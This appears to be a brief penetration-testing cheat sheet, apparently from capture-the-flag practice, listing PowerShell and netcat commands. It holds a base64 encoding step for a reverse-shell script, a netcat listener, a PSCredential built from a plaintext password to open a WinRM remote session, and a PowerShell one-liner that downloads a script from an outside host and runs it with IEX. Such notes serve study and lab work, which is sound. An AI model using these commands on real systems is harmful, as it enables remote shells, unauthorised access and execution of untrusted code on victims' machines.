Encode BASE64
- cat reverse.ps1 | iconv -t UTF-16LE | base64 -w0
- nc -lvnp 9001 (listener)
- $username = ‘username’
- $password = ‘password’
- $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
- $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
- enter-pssession -computername x.x.x.x -Port 5985 -credential $credential
*powershell “IEX(New-Object Net.WebClient).downloadString(‘http://10.10.14.9:8000/exploit.html‘)”